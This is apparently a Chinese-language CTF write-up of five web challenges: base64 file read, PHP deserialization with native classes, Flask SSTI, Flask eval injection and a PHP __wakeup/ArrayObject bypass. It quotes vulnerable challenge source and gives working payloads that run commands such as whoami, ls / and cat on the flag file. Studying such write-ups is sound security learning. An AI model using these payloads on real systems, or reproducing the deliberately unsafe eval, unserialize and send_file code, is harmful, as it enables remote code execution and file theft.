CTF-SHOW 2023愚人杯 WEB部分WP
Challenge_1 easy_signin
这道题像是buuctf一个题目的套皮,查看源码和url,图片内容是以base64编码输出的,并且请求文件名称也是通过base64编码,直接查看index.php的内容,先编码一下index.php
payload:?img=aW5kZXgucGhw
拿到base64加密后的内容
再去解密一下,拿到flag
Challenge_2 被遗忘的反序列化
这道题目没做出来,一开始就卡住了,他提示当前目录有个txt文件,那么就应该先去读这个文件获取相应的提示,不会啊,看了wp,发现用了php原生类读的,真的太强了
然后这道题预期解真的太麻烦了,还要涉及密码偏移问题,而且还要脚本爆破,非预期真的很简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| <?php
error_reporting(0); show_source(__FILE__); include("check.php");
class EeE{ public $text; public $eeee; public function __wakeup(){ if ($this->text == "aaaa"){ echo lcfirst($this->text); } }
public function __get($kk){ echo "$kk,eeeeeeeeeeeee"; }
public function __clone(){ $a = new cycycycy; $a -> aaa(); } }
class cycycycy{ public $a; private $b;
public function aaa(){ $get = $_GET['get']; $get = cipher($get); if($get === "p8vfuv8g8v8py"){ eval($_POST["eval"]); } }
public function __invoke(){ $a_a = $this -> a; echo "\$a_a\$"; } }
class gBoBg{ public $name; public $file; public $coos; private $eeee="-_-"; public function __toString(){ if(isset($this->name)){ $a = new $this->coos($this->file); echo $a; }else if(!isset($this -> file)){ return $this->coos->name; }else{ $aa = $this->coos; $bb = $this->file; return $aa(); } } }
class w_wuw_w{ public $aaa; public $key; public $file; public function __wakeup(){ if(!preg_match("/php|63|\*|\?/i",$this -> key)){ $this->key = file_get_contents($this -> file); }else{ echo "不行哦"; } }
public function __destruct(){ echo $this->aaa; }
public function __invoke(){ $this -> aaa = clone new EeE; } }
$_ip = $_SERVER["HTTP_AAAAAA"]; unserialize($_ip);
|
直接来看这里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| class gBoBg{ public $name; public $file; public $coos; private $eeee="-_-"; public function __toString(){ if(isset($this->name)){ $a = new $this->coos($this->file); echo $a; }else if(!isset($this -> file)){ return $this->coos->name; }else{ $aa = $this->coos; $bb = $this->file; return $aa(); } } }
|
$a = new $this->coos($this->file);
这一行 看到这里我们是不是可以构造一个可变函数 形如:$a($b)的形式达到getshell的操作 但是这里有个new 将类实例化 也就意为着不能通过这样来构造可变函数
那么这里就用到了php的原生类,具体看这篇文章:https://blog.csdn.net/cjdgg/article/details/115314651
可遍历目录的原生类:
DirectoryIterator 类
FilesystemIterator 类
GlobIterator 类
使用 DirectoryIterator 类
DirectoryIterator配合glob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件。
比如以这样的/f*
形式模糊操作来获得flag的文件名
比如我win电脑上d盘根目录下存在一个blog文件,我就可以利用原生类再配合glob协议获取到该文件的具体文件名
回到题目:本地构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php class gBoBg{ public $name; public $file; public $coos; }
class w_wuw_w{ public $aaa; public $key; public $file; }
$w=new w_wuw_w(); $w->aaa=new gBoBg(); $w->aaa->name="1"; $w->aaa->file="glob:///f*"; $w->aaa->coos="DirectoryIterator"; echo urlencode(serialize($w)); ?>
|
然后这里传参是通过请求包中AAAAAA来传参的蛮新颖的
然后再通过读文件原生类来读flag
SplFileObject
本地构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php class gBoBg{ public $name; public $file; public $coos; }
class w_wuw_w{ public $aaa; public $key; public $file; }
$w=new w_wuw_w(); $w->aaa=new gBoBg(); $w->aaa->name="1"; $w->aaa->file="/f1agaaa"; $w->aaa->coos="SplFileObject"; echo serialize($w); ?>
|
Challenge_3 easy_ssti
这道题还是蛮简单的 根据题目是一个模板注入的题目
查看源码 下载一个压缩包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from flask import Flask from flask import render_template_string,render_template app = Flask(__name__)
@app.route('/hello/') def hello(name=None): return render_template('hello.html',name=name) @app.route('/hello/<name>') def hellodear(name): if "ge" in name: return render_template_string('hello %s' % name) elif "f" not in name: return render_template_string('hello %s' % name) else: return 'Nonononon'
|
一眼顶针,flask的模板注入
然后网上payoad太多了(https://blog.csdn.net/qq_46918279/article/details/121270806)
这里主要过滤了斜杠,可以用${HOME:0:1}
绕过
payload:
{{get_flashed_messages.__globals__['os'].popen('whoami').read()}}
{{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat ${HOME:0:1}[e-g]lag').read()}}
challenge_4 easy_flask
这道题目快做出来了,最后一步没有去读取当前目录下的app.py的文件去看源码,真给自己无语住了,脑子被大便灌了一样
回到题目:
看标题还是关于flask模板的漏洞
申请一个账号进去
最后一句话他说只会给admin给一些东西,那么目标就很明确了,flask模板常见的session伪造,找一个脚本伪造就行了
之后给到一个假的flag 然后注意到他请求方式
他现在给的源代码只是一部分,我们应该通过读app.py来获取完整的源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
users = { 'admin': {'password': 'LKHSADSFHLA;KHLK;FSDHLK;ASFD', 'role': 'admin'} }
@app.route('/') def index(): if 'loggedin' in session: return redirect(url_for('profile')) return redirect(url_for('login'))
@app.route('/login/', methods=['GET', 'POST']) def login(): msg = '' if request.method == 'POST' and 'username' in request.form and 'password' in request.form: username = request.form['username'] password = request.form['password'] if username in users and password == users[username]['password']: session['loggedin'] = True session['username'] = username session['role'] = users[username]['role'] return redirect(url_for('profile')) else: msg = 'Incorrect username/password!' return render_template('login2.html', msg=msg)
@app.route('/register/', methods=['GET', 'POST']) def register(): msg = '' if request.method == 'POST' and 'username' in request.form and 'password' in request.form: username = request.form['username'] password = request.form['password'] if username in users: msg = 'Account already exists!' else: users[username] = {'password': password, 'role': 'user'} msg = 'You have successfully registered!' return render_template('register2.html', msg=msg)
@app.route('/profile/') def profile(): if 'loggedin' in session: return render_template('profile2.html', username=session['username'], role=session['role']) return redirect(url_for('login'))
@app.route('/show/') def show(): if 'loggedin' in session: return render_template('show2.html')
@app.route('/download/') def download(): if 'loggedin' in session: filename = request.args.get('filename') if 'filename' in request.args: return send_file(filename, as_attachment=True) return redirect(url_for('login'))
@app.route('/hello/') def hello_world(): try: s = request.args.get('eval') return f"hello,{eval(s)}" except Exception as e: print(e) pass return "hello"
@app.route('/logout/') def logout(): session.pop('loggedin', None) session.pop('id', None) session.pop('username', None) session.pop('role', None) return redirect(url_for('login'))
if __name__ == "__main__": app.run(host='0.0.0.0', port=8080)
|
注意到这里 可以进行命令执行 注意是python的命令执行和php的形式稍有不同
1 2 3 4 5 6 7 8 9 10 11 12
| @app.route('/hello/') def hello_world(): try: s = request.args.get('eval') return f"hello,{eval(s)}" except Exception as e: print(e) pass return "hello" /hello/?eval=__import__('os').popen('ls /').read() /hello/?eval=__import__('os').popen('cat /flag_is_h3re').read()
|
稍微解释一下 还是不太熟悉python的命令执行 是通过调用模块的方式
import() 函数用于动态加载类和函数
os — 操作系统接口模块
os.popen() 方法用于从一个命令打开一个管道。
read() 方法用于从文件读取指定的字节数,如果未给定或为负则读取所有。
Challenge_5 easy_php
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php error_reporting(0); highlight_file(__FILE__);
class ctfshow{
public function __wakeup(){ die("not allowed!"); }
public function __destruct(){ system($this->ctfshow); }
}
$data = $_GET['1+1>2'];
if(!preg_match("/^[Oa]:[\d]+/i", $data)){ unserialize($data); }
?>
|
这道题不会做,看了wp还是蛮神奇的,简单分析一下
应该是通过反序列化去执行ctfshow类中的system()
函数
这里首先解除一下我固有的想法,我们都知道,当反序列化时首先会执行__wakeup魔术方法,这道题执行后会用到die()函数,程序运行完了,我原以为要通过增加对象属性方法去绕过__wakeup函数,但是发现没必要,因为析构函数不会受到影响。
所以没必要去绕过
那么这道题目最主要的就是去绕过这个正则匹配
1 2 3
| if(!preg_match("/^[Oa]:[\d]+/i", $data)){ unserialize($data); }
|
我们传参不能以O或者a开头
我们都知道序列化后的字符串首字母就为O 意为object对象的意思
那么这里应该怎么绕过呢
这里考到了 PHP7.3 __wakeup绕过,ArrayObject内置类 并且这个类可以起到类似于反序列化我们传入的序列化对象,当然这里说的不严谨,但可以这样理解参考:https://juejin.cn/post/7105704360155283469
注意这里只能在php7.3版本下才能成功,一开始复现的时候没注意到
c打头
那么问题来了,为什么要ban a字符呢ban了o字符不久行了嘛
如果不ban a 我们可以直接序列化数组去包含我们的恶意代码从而达到getshell
明白之后,本地构造
这里传参的时候记得把1+1>2 url编码一下
之后就是读取了。
后记:
这次最主要学到了php原生类的知识点把,tql!!!!